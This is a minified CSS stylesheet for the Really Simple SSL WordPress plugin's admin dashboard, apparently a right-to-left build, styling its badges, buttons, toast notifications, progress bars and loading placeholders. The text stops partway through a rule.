.rsssl-score-snippet{max-width:100%;overflow:hidden;text-overflow:ellipsis;height:18px;line-height:18px;padding-inline:var(--rsp-spacing-xxs);font-size:var(--rsp-fs-100);border-radius:var(--rsp-border-radius-xs);color:var(--rsp-text-color);text-align:right}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-hover{height:initial;line-height:initial}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-inactive{background-color:var(--rsp-grey-200);color:var(--rsp-color-disabled)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-processing{background-color:var(--rsp-yellow);color:var(--rsp-black)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-success{background-color:var(--rsp-color-success);color:var(--rsp-text-color-white)}.rsssl .rsssl-ssl-labs .rsssl-score-snippet.rsssl-test-error{background-color:var(--rsp-brand-primary);color:var(--rsp-black)}.rsssl .rsssl-hardening-select-item .rsssl-badge{margin-top:var(--rsp-spacing-xxs)}.rsssl-gridblock-progress-container.rsssl-error .rsssl-gridblock-progress{background:var(--rsp-color-warning)}.rsssl-gridblock-progress-container.rsssl-inactive{height:4px;width:100%;display:flex;background:var(--rsp-grey-300)}.rsssl-gridblock-progress-container.rsssl-inactive .rsssl-gridblock-progress{transition:width 1s ease-in-out;background:var(--rsp-green)}.rsssl .rsssl-field-button button.button{display:flex}.rsssl a.button,.rsssl button.button,.rsssl input.button,.rsssl span.button{font-size:var(--rsp-fs-300);font-weight:400;transition:all .3s ease;min-height:10px}.rsssl a.button.button-secondary,.rsssl a.button.button-default,.rsssl button.button.button-secondary,.rsssl button.button.button-default,.rsssl input.button.button-secondary,.rsssl input.button.button-default,.rsssl span.button.button-secondary,.rsssl span.button.button-default{background:transparent}.rsssl a.button .rsssl-icon,.rsssl button.button .rsssl-icon,.rsssl input.button .rsssl-icon,.rsssl span.button .rsssl-icon{padding-top:7px;padding-right:7px}.rsssl a.button.button-black,.rsssl button.button.button-black,.rsssl input.button.button-black,.rsssl span.button.button-black{border:1px solid var(--rsp-black);background:var(--rsp-black);color:var(--rsp-text-color-white)}.rsssl a.button.button-tertiary,.rsssl a.button.button-red,.rsssl button.button.button-tertiary,.rsssl button.button.button-red,.rsssl input.button.button-tertiary,.rsssl input.button.button-red,.rsssl span.button.button-tertiary,.rsssl span.button.button-red{border:0 solid transparent;background:var(--rsp-red);color:var(--rsp-text-color-white)}.rsssl a.button.button-primary:hover,.rsssl a.button.button-primary:focus,.rsssl a.button.button-primary:active,.rsssl button.button.button-primary:hover,.rsssl button.button.button-primary:focus,.rsssl button.button.button-primary:active,.rsssl input.button.button-primary:hover,.rsssl input.button.button-primary:focus,.rsssl input.button.button-primary:active,.rsssl span.button.button-primary:hover,.rsssl span.button.button-primary:focus,.rsssl span.button.button-primary:active{box-shadow:none}.rsssl a.button.button-secondary:hover,.rsssl a.button.button-secondary:focus,.rsssl a.button.button-secondary:active,.rsssl button.button.button-secondary:hover,.rsssl button.button.button-secondary:focus,.rsssl button.button.button-secondary:active,.rsssl input.button.button-secondary:hover,.rsssl input.button.button-secondary:focus,.rsssl input.button.button-secondary:active,.rsssl span.button.button-secondary:hover,.rsssl span.button.button-secondary:focus,.rsssl span.button.button-secondary:active{box-shadow:none}.rsssl a.rsssl-button-small,.rsssl button.rsssl-button-small,.rsssl input.rsssl-button-small{font-size:var(--rsp-fs-100);font-weight:300;min-height:auto}.rsssl .rsssl-button-small+.rsssl-button-small{margin-right:10px}.rsssl .rsssl-shortcode{left:10000px;position:absolute;background-color:#fff;padding:0;white-space:nowrap}.rsssl .shortcode{cursor:pointer}.rsssl .rsssl-action-buttons{display:flex;justify-content:flex-end}.rsssl .rsssl-action-buttons__inner{display:flex;justify-content:flex-end}.rsssl .rsssl-action-buttons__inner{float:left}.rsssl .rsssl-action-buttons__button{margin-left:10px}.rsssl .rsssl-action-buttons__inner:last-child{margin-left:0}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer{margin-right:0;margin-left:0;padding-right:25px}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer .button{display:block;margin-left:0;margin-right:0}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer .components-toggle-control{margin-top:12px}.rsssl .rsssl-mixed-content-scan .rsssl-grid-item-content-footer label{display:flex;align-items:center;justify-content:center}.rsssl .rsssl-bullet{height:13px;width:13px;flex:0 0 13px;border-radius:50%;display:inline-block;background-color:var(--rsp-grey-300)}.rsssl .rsssl-bullet.rsp-yellow{background-color:var(--rsp-yellow)}.rsssl .rsssl-bullet.rsp-blue{background-color:var(--rsp-blue)}.rsssl .rsssl-bullet.rsp-pink{background-color:var(--rsp-pink)}.rsssl .rsssl-bullet.rsp-red,.rsssl .rsssl-bullet.rsssl-bullet-error{background-color:var(--rsp-red)}.rsssl .rsssl-bullet.rsp-green,.rsssl .rsssl-bullet.rsssl-bullet-success{background-color:var(--rsp-green)}.rsssl .rsssl-bullet.rsp-blue-yellow{background:var(--rsp-blue);background:linear-gradient(-77deg,#009fff 0,#009fff 30%,#f4bf3e 70%,#f4bf3e 100%);animation:gradient 2s ease infinite;background-size:200% 200%}.rsssl .rsssl-legend{display:flex;width:max-content;color:var(--rsp-text-color-light);align-items:center;min-width:0;gap:var(--rsp-spacing-xxs);text-decoration:none}.rsssl .rsssl-legend:first-of-type{margin-right:auto}.rsssl .rsssl-legend .rsssl-progress-footer-link a{color:inherit;text-decoration:none}.rsssl .rsssl-legend .rsssl-progress-footer-link a:hover{text-decoration:underline}@keyframes gradient{0%{background-position:100% 50%}50%{background-position:0% 50%}100%{background-position:100% 50%}}.rsssl-icon{display:flex;align-items:center;justify-content:center}.rsssl-icon>div{display:flex}.rsssl-icon svg{fill:currentColor}.rsssl-icon-loading svg{animation:spin 2s linear infinite}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(-360deg)}}.rsssl-icon.rsssl-click-animation{animation:beat .4s ease-out}button.button .cmplz-icon.rsssl-icon-loading{padding-top:6px}button.button .cmplz-icon.rsssl-icon-loading>div{line-height:inherit}.rsssl .rsssl-badge{--badge-height:20px;height:var(--badge-height);line-height:var(--badge-height);padding-inline:8px;min-width:100px;text-align:center;border-radius:var(--rsp-border-radius-xs);color:var(--rsp-white);display:table;margin:auto auto;font-size:var(--rsp-fs-100)}.rsssl .rsssl-badge.rsp-dark{background-color:var(--rsp-black);color:var(--rsp-white)}.rsssl .rsssl-badge.rsp-low{background-color:var(--rsp-yellow-faded);color:var(--rsp-black)}.rsssl .rsssl-badge.rsp-medium{background-color:var(--rsp-yellow);color:var(--rsp-black)}.rsssl .rsssl-badge.rsp-high{background-color:var(--rsp-red-faded);color:var(--rsp-black)}.rsssl .rsssl-badge.rsp-critical{background-color:var(--rsp-red);color:var(--rsp-white)}.rsssl .rsssl-badge.rsp-success{background-color:var(--rsp-color-success);color:var(--rsp-white)}.rsssl .rsssl-badge.rsp-default{background-color:var(--rsp-grey-200);color:black}.rsssl .rsssl-badge-large{--badge-height:28px;height:var(--badge-height);line-height:var(--badge-height);padding:0 10px;min-width:80px;text-align:center;border-radius:var(--rsp-border-radius-xs);color:var(--rsp-white);display:table;margin:auto auto;font-size:var(--rsp-fs-300);font-weight:400}.rsssl .rsssl-badge-large.rsp-dark{background-color:var(--rsp-black);color:var(--rsp-white)}.rsssl .rsssl-badge-large.rsp-risk-level-l{background-color:var(--rsp-yellow-faded);color:var(--rsp-black)}.rsssl .rsssl-badge-large.rsp-risk-level-m{background-color:var(--rsp-yellow);color:var(--rsp-black)}.rsssl .rsssl-badge-large.rsp-risk-level-h{background-color:var(--rsp-red-faded);color:var(--rsp-black)}.rsssl .rsssl-badge-large.rsp-risk-level-c{background-color:var(--rsp-red);color:var(--rsp-white)}.rsssl .rsssl-badge-large.rsp-success{background-color:var(--rsp-color-success);color:var(--rsp-white)}.rsssl .rsssl-badge-large.rsp-default{background-color:var(--rsp-grey-200);color:black}:root{--toastify-color-light:var(--rsp-white);--toastify-color-dark:var(--rsp-black);--toastify-color-info:var(--rsp-yellow);--toastify-color-success:var(--rsp-green);--toastify-color-warning:var(--rsp-orange);--toastify-color-error:var(--rsp-red);--toastify-color-transparent:rgba(255,255,255,0.7);--toastify-icon-color-info:var(--toastify-color-info);--toastify-icon-color-success:var(--rsp-green);--toastify-icon-color-warning:var(--toastify-color-warning);--toastify-icon-color-error:var(--toastify-color-error);--toastify-toast-width:320px;--toastify-toast-background:#fff;--toastify-toast-min-height:42px;--toastify-toast-max-height:800px;--toastify-font-family:sans-serif;--toastify-z-index:999999;--toastify-text-color-light:var(--rsp-text-color);--toastify-text-color-dark:var(--rsp-text-color-white);--toastify-text-color-info:#fff;--toastify-text-color-success:#fff;--toastify-text-color-warning:#fff;--toastify-text-color-error:#fff;--toastify-spinner-color:#616161;--toastify-spinner-color-empty-area:#e0e0e0;--toastify-color-progress-light:linear-gradient(to right,var(--rsp-green),#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55);--toastify-color-progress-dark:#bb86fc;--toastify-color-progress-info:var(--toastify-color-info);--toastify-color-progress-success:var(--rsp-green);--toastify-color-progress-warning:var(--toastify-color-warning);--toastify-color-progress-error:var(--toastify-color-error)}.Toastify__toast-container{z-index:var(--toastify-z-index);-webkit-transform:translate3d(0,0,var(--toastify-z-index) px);position:fixed;padding:4px;width:var(--toastify-toast-width);box-sizing:border-box;color:#fff}.Toastify__toast-container--top-left{top:1em;right:1em}.Toastify__toast-container--top-center{top:calc(2em + 32px);right:50%;transform:translateX(50%)}.Toastify__toast-container--top-right{top:1em;left:1em}.Toastify__toast-container--bottom-left{bottom:1em;right:1em}.Toastify__toast-container--bottom-center{bottom:1em;right:50%;transform:translateX(50%)}.Toastify__toast-container--bottom-right{bottom:1em;left:1em}@media only screen and (max-width :480px){.Toastify__toast-container{width:100vw;padding:0;right:0;margin:0}.Toastify__toast-container--top-left,.Toastify__toast-container--top-center,.Toastify__toast-container--top-right{top:0;transform:translateX(0)}.Toastify__toast-container--bottom-left,.Toastify__toast-container--bottom-center,.Toastify__toast-container--bottom-right{bottom:0;transform:translateX(0)}.Toastify__toast-container--rtl{left:0;right:initial}}.Toastify__toast{position:relative;min-height:var(--toastify-toast-min-height);box-sizing:border-box;margin-bottom:1rem;padding:8px;border-radius:var(--rsp-border-radius);border:1px solid #eee;box-shadow:0 1px 10px 0 rgba(0,0,0,0.1),0 2px 15px 0 rgba(0,0,0,0.05);box-shadow:var(--rsp-box-shadow);display:flex;justify-content:space-between;max-height:var(--toastify-toast-max-height);overflow:hidden;font-family:var(--toastify-font-family);cursor:default;direction:rtl;z-index:0}.Toastify__toast--rtl{direction:ltr}.Toastify__toast--close-on-click{cursor:pointer}.Toastify__toast-body{margin:auto 0;flex:1 1 auto;padding:6px;display:flex;align-items:center}.Toastify__toast-body>div:last-child{word-break:break-word;flex:1}.Toastify__toast-icon{margin-inline-end:10px;width:20px;flex-shrink:0;display:flex}.Toastify--animate{animation-fill-mode:both;animation-duration:.7s}.Toastify--animate-icon{animation-fill-mode:both;animation-duration:.3s}@media only screen and (max-width :480px){.Toastify__toast{margin-bottom:0;border-radius:0}}.Toastify__toast-theme--dark{background:var(--toastify-color-dark);color:var(--toastify-text-color-dark)}.Toastify__toast-theme--light{background:var(--toastify-color-light);color:var(--toastify-text-color-light)}.Toastify__toast-theme--colored.Toastify__toast--default{background:var(--toastify-color-light);color:var(--toastify-text-color-light)}.Toastify__toast-theme--colored.Toastify__toast--info{color:var(--toastify-text-color-info);background:var(--toastify-color-info)}.Toastify__toast-theme--colored.Toastify__toast--success{color:var(--toastify-text-color-success);background:var(--rsp-green)}.Toastify__toast-theme--colored.Toastify__toast--warning{color:var(--toastify-text-color-warning);background:var(--toastify-color-warning)}.Toastify__toast-theme--colored.Toastify__toast--error{color:var(--toastify-text-color-error);background:var(--toastify-color-error)}.Toastify__progress-bar-theme--light{background:var(--toastify-color-progress-light)}.Toastify__progress-bar-theme--dark{background:var(--toastify-color-progress-dark)}.Toastify__progress-bar--info{background:var(--toastify-color-progress-info)}.Toastify__progress-bar--success{background:var(--toastify-color-progress-success)}.Toastify__progress-bar--warning{background:var(--toastify-color-progress-warning)}.Toastify__progress-bar--error{background:var(--toastify-color-progress-error)}.Toastify__progress-bar-theme--colored.Toastify__progress-bar--info,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--success,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--warning,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--error{background:var(--toastify-color-transparent)}.Toastify__close-button{color:#fff;background:transparent;outline:0;border:0;padding:0;cursor:pointer;opacity:.7;transition:.3s ease;align-self:flex-start}.Toastify__close-button--light{color:#000;opacity:.3}.Toastify__close-button>svg{fill:currentColor;height:16px;width:14px}.Toastify__close-button:hover,.Toastify__close-button:focus{opacity:1}@keyframes toastify__trackProgress{0%{transform:scaleX(1)}100%{transform:scaleX(0)}}.Toastify__progress-bar{position:absolute;bottom:0;right:0;width:100%;height:5px;z-index:var(--toastify-z-index);opacity:.7;transform-origin:right}.Toastify__progress-bar--animated{animation:toastify__trackProgress linear 1 forwards}.Toastify__progress-bar--controlled{transition:transform .2s}.Toastify__progress-bar--rtl{left:0;right:initial;transform-origin:left}.Toastify__spinner{width:20px;height:20px;box-sizing:border-box;border:2px solid;border-radius:100%;border-color:var(--toastify-spinner-color-empty-area);border-left-color:var(--toastify-spinner-color);animation:toastify__spin .65s linear infinite}@keyframes toastify__bounceInRight{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}from{opacity:0;transform:translate3d(-3000px,0,0)}60%{opacity:1;transform:translate3d(25px,0,0)}75%{transform:translate3d(-10px,0,0)}90%{transform:translate3d(5px,0,0)}to{transform:none}}@keyframes toastify__bounceOutRight{20%{opacity:1;transform:translate3d(20px,0,0)}to{opacity:0;transform:translate3d(-2000px,0,0)}}@keyframes toastify__bounceInLeft{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0%{opacity:0;transform:translate3d(3000px,0,0)}60%{opacity:1;transform:translate3d(-25px,0,0)}75%{transform:translate3d(10px,0,0)}90%{transform:translate3d(-5px,0,0)}to{transform:none}}@keyframes toastify__bounceOutLeft{20%{opacity:1;transform:translate3d(-20px,0,0)}to{opacity:0;transform:translate3d(2000px,0,0)}}@keyframes toastify__bounceInUp{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}from{opacity:0;transform:translate3d(0,3000px,0)}60%{opacity:1;transform:translate3d(0,-20px,0)}75%{transform:translate3d(0,10px,0)}90%{transform:translate3d(0,-5px,0)}to{transform:translate3d(0,0,0)}}@keyframes toastify__bounceOutUp{20%{transform:translate3d(0,-10px,0)}40%,45%{opacity:1;transform:translate3d(0,20px,0)}to{opacity:0;transform:translate3d(0,-2000px,0)}}@keyframes toastify__bounceInDown{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1)}0{opacity:0;transform:translate3d(0,-3000px,0)}60%{opacity:1;transform:translate3d(0,25px,0)}75%{transform:translate3d(0,-10px,0)}90%{transform:translate3d(0,5px,0)}to{transform:none}}@keyframes toastify__bounceOutDown{20%{transform:translate3d(0,10px,0)}40%,45%{opacity:1;transform:translate3d(0,-20px,0)}to{opacity:0;transform:translate3d(0,2000px,0)}}.Toastify__bounce-enter--top-left,.Toastify__bounce-enter--bottom-left{animation-name:toastify__bounceInLeft}.Toastify__bounce-enter--top-right,.Toastify__bounce-enter--bottom-right{animation-name:toastify__bounceInRight}.Toastify__bounce-enter--top-center{animation-name:toastify__bounceInDown}.Toastify__bounce-enter--bottom-center{animation-name:toastify__bounceInUp}.Toastify__bounce-exit--top-left,.Toastify__bounce-exit--bottom-left{animation-name:toastify__bounceOutLeft}.Toastify__bounce-exit--top-right,.Toastify__bounce-exit--bottom-right{animation-name:toastify__bounceOutRight}.Toastify__bounce-exit--top-center{animation-name:toastify__bounceOutUp}.Toastify__bounce-exit--bottom-center{animation-name:toastify__bounceOutDown}@keyframes toastify__zoomIn{from{opacity:0;transform:scale3d(0.3,0.3,0.3)}50%{opacity:1}}@keyframes toastify__zoomOut{from{opacity:1}50%{opacity:0;transform:scale3d(0.3,0.3,0.3)}to{opacity:0}}.Toastify__zoom-enter{animation-name:toastify__zoomIn}.Toastify__zoom-exit{animation-name:toastify__zoomOut}@keyframes toastify__flipIn{from{transform:perspective(400px) rotate3d(-1,0,0,-90deg);animation-timing-function:ease-in;opacity:0}40%{transform:perspective(400px) rotate3d(-1,0,0,20deg);animation-timing-function:ease-in}60%{transform:perspective(400px) rotate3d(-1,0,0,-10deg);opacity:1}80%{transform:perspective(400px) rotate3d(-1,0,0,5deg)}to{transform:perspective(400px)}}@keyframes toastify__flipOut{from{transform:perspective(400px)}30%{transform:perspective(400px) rotate3d(-1,0,0,20deg);opacity:1}to{transform:perspective(400px) rotate3d(-1,0,0,-90deg);opacity:0}}.Toastify__flip-enter{animation-name:toastify__flipIn}.Toastify__flip-exit{animation-name:toastify__flipOut}@keyframes toastify__slideInRight{from{transform:translate3d(-110%,0,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideInLeft{from{transform:translate3d(110%,0,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideInUp{from{transform:translate3d(0,110%,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideInDown{from{transform:translate3d(0,-110%,0);visibility:visible}to{transform:translate3d(0,0,0)}}@keyframes toastify__slideOutRight{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(-110%,0,0)}}@keyframes toastify__slideOutLeft{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(110%,0,0)}}@keyframes toastify__slideOutDown{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(0,500px,0)}}@keyframes toastify__slideOutUp{from{transform:translate3d(0,0,0)}to{visibility:hidden;transform:translate3d(0,-500px,0)}}.Toastify__slide-enter--top-left,.Toastify__slide-enter--bottom-left{animation-name:toastify__slideInLeft}.Toastify__slide-enter--top-right,.Toastify__slide-enter--bottom-right{animation-name:toastify__slideInRight}.Toastify__slide-enter--top-center{animation-name:toastify__slideInDown}.Toastify__slide-enter--bottom-center{animation-name:toastify__slideInUp}.Toastify__slide-exit--top-left,.Toastify__slide-exit--bottom-left{animation-name:toastify__slideOutLeft}.Toastify__slide-exit--top-right,.Toastify__slide-exit--bottom-right{animation-name:toastify__slideOutRight}.Toastify__slide-exit--top-center{animation-name:toastify__slideOutUp}.Toastify__slide-exit--bottom-center{animation-name:toastify__slideOutDown}@keyframes toastify__spin{from{transform:rotate(0)}to{transform:rotate(-360deg)}}.rsssl-modal.rsssl-onboarding{width:clamp(300px,100ch,100vw);padding-top:var(--rsp-spacing-m);line-height:2.2;min-height:295px}.rsssl-modal.rsssl-onboarding .rsssl-logo{height:26px}.rsssl-modal.rsssl-onboarding .rsssl-modal-content{display:flex;min-height:295px}.rsssl-modal.rsssl-onboarding .rsssl-modal-content .rsssl-onboarding-placeholder{flex-grow:1}.rsssl-modal.rsssl-onboarding .rsssl-modal-content-step{display:flex;flex-direction:column;width:100%}.rsssl-modal.rsssl-onboarding .rsssl-modal-content .rsssl-processing{opacity:.5}.rsssl-modal.rsssl-onboarding .rsssl-modal-content ul li .rsssl-icon{margin-top:7px}.rsssl-modal.rsssl-onboarding .rsssl-modal-content ul li .components-button.is-link{padding:5px 0}.rsssl-grid-item.rsssl-progress .rsssl-grid-item-content{padding:0}.rsssl-grid-item.rsssl-progress .rsssl-placeholder{padding:var(--rsp-spacing-m) var(--rsp-spacing-l)}@media screen and (max-width:1280px){.rsssl-grid-item.rsssl-progress .rsssl-placeholder{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-grid-item.rsssl-progress .rsssl-placeholder{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-progress-block .rsssl-progress{overflow:hidden;height:20px;border-radius:5px;background-color:#f7f7f7}.rsssl-progress-block .rsssl-progress .rsssl-bar{height:100%;background-color:var(--rsp-color-success);transition:width 1s ease}.rsssl-progress-block .rsssl-progress .rsssl-bar.rsssl-orange{background-color:var(--rsp-color-warning)}.rsssl-progress-block .rsssl-progress-bar{padding:var(--rsp-spacing-m) var(--rsp-spacing-l);padding-block:0;border-radius:5px}@media screen and (max-width:1280px){.rsssl-progress-block .rsssl-progress-bar{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-progress-block .rsssl-progress-bar{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-progress-block .rsssl-progress-text{display:flex;align-items:center;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);padding-block:var(--rsp-spacing-s);justify-content:flex-start;gap:var(--rsp-spacing-m)}@media screen and (max-width:1280px){.rsssl-progress-block .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-progress-block .rsssl-progress-text{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-progress-block .rsssl-progress-text .rsssl-progress-percentage{font-size:var(--rsp-fs-800);font-weight:700}.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span{font-weight:500;font-size:var(--rsp-fs-600)}.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span a{margin-right:3px}@media only screen and (max-width:1366px) and (min-width:1280px){.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span{font-size:var(--rsp-fs-500)}}.rsssl-header-html{display:flex;color:var(--rsp-text-color-light)}.rsssl-header-html .rsssl-toggle-active{text-decoration:underline}.rsssl-task-switcher-container{display:flex;border-radius:var(--rsp-border-radius)}.rsssl-task-switcher-container .rsssl-task-switcher:first-of-type{border-left:1px solid var(--rsp-grey-400);padding-left:10px}.rsssl-task-switcher-container .rsssl-task-switcher:last-of-type{padding-right:10px}.rsssl-task-switcher{font-size:var(--rsp-fs-200);cursor:pointer;transition:.3s}.rsssl-task-switcher:hover{text-decoration:underline}.rsssl-active-filter-remaining .rsssl-remaining-tasks,.rsssl-active-filter-all .rsssl-all-tasks{text-decoration:underline}.rsssl-task-element{display:flex;align-items:flex-start;justify-content:center;gap:var(--rsp-spacing-m);padding-bottom:var(--rsp-spacing-s)}@media(max-width:1280px){.rsssl-task-element{gap:var(--rsp-spacing-xs)}}.rsssl-task-element .rsssl-task-message{flex:1;font-size:var(--rsp-fs-300)}.rsssl-task-element .rsssl-task-form{margin-top:var(--rsp-spacing-xxs);display:flex;gap:var(--rsp-spacing-xs)}.rsssl-task-element .rsssl-task-enable{cursor:pointer;line-height:1.5}.rsssl-task-element .rsssl-task-enable .rsssl-icon.rsssl-icon-loading{padding:3px}.rsssl-task-element .rsssl-task-dismiss:hover{transform:scale(1.1)}.rsssl-task-element .rsssl-task-dismiss button{all:initial;cursor:pointer;padding:4px}.rsssl-task-element .rsssl-task-dismiss svg{height:12px;width:12px}.rsssl-scroll-container{padding:var(--rsp-spacing-m) var(--rsp-spacing-l);height:230px;overflow-y:auto;padding-block:0;padding-top:var(--rsp-spacing-s);border-radius:0}@media screen and (max-width:1280px){.rsssl-scroll-container{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}@media screen and (max-width:1080px){.rsssl-scroll-container{padding:var(--rsp-spacing-xs) var(--rsp-spacing-s)}}.rsssl-scroll-container::-webkit-scrollbar-track{border-radius:10px;-webkit-box-shadow:inset 0 0 2px rgba(0,0,0,0);background-color:transparent}.rsssl-scroll-container::-webkit-scrollbar{width:8px;border-radius:10px;background-color:var(--rsp-grey-300)}.rsssl-scroll-container::-webkit-scrollbar-thumb{background-color:var(--rsp-grey-400);border-radius:10px}.rsssl-progress-status-container{margin-left:40px}.rsssl-task-status,.rsssl-locked-overlay .rsssl-progress-status{display:block;min-width:100px;text-align:center;border-radius:var(--rsp-border-radius-xs);padding:4px 8px;font-size:var(--rsp-fs-100);font-weight:600}@media(max-width:1280px){.rsssl-task-status,.rsssl-locked-overlay .rsssl-progress-status{min-width:80px}}.rsssl-task-status.rsssl-completed,.rsssl-locked-overlay .rsssl-completed.rsssl-progress-status,.rsssl-task-status.rsssl-success,.rsssl-locked-overlay .rsssl-success.rsssl-progress-status{background-color:var(--rsp-color-success);color:var(--rsp-text-color-white)}.rsssl-task-status.rsssl-open,.rsssl-locked-overlay .rsssl-open.rsssl-progress-status{background-color:var(--rsp-color-open)}.rsssl-task-status.rsssl-warning,.rsssl-locked-overlay .rsssl-warning.rsssl-progress-status{background-color:var(--rsp-color-error);color:var(--rsp-text-color-white)}.rsssl-task-status.rsssl-premium,.rsssl-locked-overlay .rsssl-premium.rsssl-progress-status{background-color:var(--rsp-blue);color:var(--rsp-text-color-white)}.rsssl-task-status.rsssl-loading,.rsssl-locked-overlay .rsssl-loading.rsssl-progress-status{background-color:var(--rsp-grey-200)}@media(max-width:1080px){.rsssl-scroll-container .rsssl-task-status,.rsssl-scroll-container .rsssl-locked-overlay .rsssl-progress-status,.rsssl-locked-overlay .rsssl-scroll-container .rsssl-progress-status{aspect-ratio:1/1;min-width:10px;height:16px;border-radius:100%;text-indent:-9999px;white-space:nowrap}}.rsssl-plusone{min-width:15px;height:16px;font-size:var(--rsp-fs-100);line-height:1.5;display:inline-block;vertical-align:top;box-sizing:border-box;margin:1px 2px -1px 0;padding:0 5px;border-radius:9px;background-color:#d63638;color:#fff;text-align:center}@media only screen and (max-width:1366px){.rsssl-footer-left{display:none}}.rsssl-datatable-placeholder div{background-color:var(--rsp-grey-300);height:25px}.rsssl-datatable-placeholder div:nth-child(even){background-color:#fff}.rsssl-rest-error-message{margin:30px}.rsssl-rest-error-message ul{list-style:disc;margin:20px}.rsssl-placeholder{box-sizing:border-box;width:100%;text-align:right;margin:0;padding-bottom:24px;color:#1e1e1e;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;border-radius:2px}.rsssl-placeholder{flex-grow:100}.rsssl-placeholder .rsssl-placeholder-line{float:right;width:100%;height:16px;margin-top:12px;border-radius:7px;animation:shine-lines 1.6s infinite linear;background-image:linear-gradient(-90deg,#ddd 0,#e8e8e8 40px,#ddd 80px);background-size:600px}.rsssl-placeholder .rsssl-placeholder-line:last-of-type{margin-bottom:24px}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(1){width:99%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(2){width:66%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(3){width:94%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(4){width:75%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(5){width:78%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(6){width:66%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(7){width:67%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(8){width:76%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(9){width:79%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(10){width:85%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(11){width:92%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(12){width:78%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(13){width:65%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(14){width:75%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(15){width:73%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(16){width:92%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(17){width:96%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(18){width:91%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(19){width:99%}.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(20){width:79%}.rsssl-placeholder .rsssl-placeholder-line ~ .rsssl-placeholder-line{background-color:#ddd}.rsssl-dashboard-placeholder.rsssl-grid-item.rsssl-row-2{grid-row:span 1}.rsssl-settings-placeholder .rsssl-grid-item{min-height:400px}.rsssl-menu-placeholder{min-height:400px}@keyframes shine-lines{0%{background-position:-400px}100%{background-position:220px}}.rsssl .rsssl-other-plugins .rsssl-placeholder{background-color:transparent}.rsssl .rsssl-other-plugins .rsp-logo img{height:20px}.rsssl .rsssl-other-plugins-container{display:flex !important;flex-direction:row;flex-wrap:wrap;margin-bottom:10px;font-size:var(--rsp-fs-300);line-height:1.7;gap:var(--rsp-spacing-xxs)}@media screen and (max-width:992px){.rsssl .rsssl-other-plugins-container{flex-direction:row;overflow:hidden}}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element{width:100%;display:flex;align-content:space-between;justify-content:space-between;gap:10px;--rsp-other-plugins-color:var(---rsp-brand-primary)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-zip-recipes{--rsp-other-plugins-color:var(--rsp-pink)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-burst-statistics{--rsp-other-plugins-color:var(--rsp-green)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-complianz-gdpr{--rsp-other-plugins-color:var(--rsp-blue)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-complianz-terms-conditions{--rsp-other-plugins-color:var(--rsp-black)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-really-simple-ssl{--rsp-other-plugins-color:var(--rsp-yellow)}.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a{width:max-content;color:var(--rsp-text-color-light);transition:color .3s 